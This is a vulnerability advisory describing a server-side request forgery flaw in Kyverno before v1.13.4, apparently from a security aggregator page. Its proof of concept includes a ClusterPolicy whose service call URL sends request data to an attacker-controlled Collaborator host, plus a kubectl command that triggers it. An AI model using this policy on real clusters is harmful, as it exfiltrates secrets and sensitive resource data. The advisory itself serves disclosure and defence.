Kyverno before v1.13.4 SSRF via Service Call

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Kyverno before v1.13.4 is vulnerable to server-side request forgery (SSRF) via its Service Call functionality. An attacker with permission to create Kyverno (Cluster)Policies can specify an external URL in a policy's apiCall/service configuration; although Service Call is documented for in-cluster services, it also resolves external addresses, allowing requests to an attacker-controlled server. Because policy context data (including contents of Kubernetes resources such as secrets) is sent in these requests, an attacker can exfiltrate sensitive cluster data.

### Summary An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data. ### Details According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster. https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls ### PoC Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator. ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: check-namespaces spec: rules: - name: call-extension match: any: - resources: kinds: - ConfigMap context: - name: result apiCall: method: POST data: - key: namespace value: "{{request.namespace}}" service: url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload validate: message: "namespace {{request.namespace}} is not allowed" deny: conditions: all: - key: "{{ result.allowed }}" operator: Equals value: false ``` Now let's create some configmap: ```bash kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm ``` Look at the Burp Collaborator logs: <img width="723" alt="Снимок экрана 2025-02-21 в 17 31 25" src="https://github.com/user-attachments/assets/9445a71a-6687-430a-8476-3fd546bc2bf2" /> ### Impact An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.
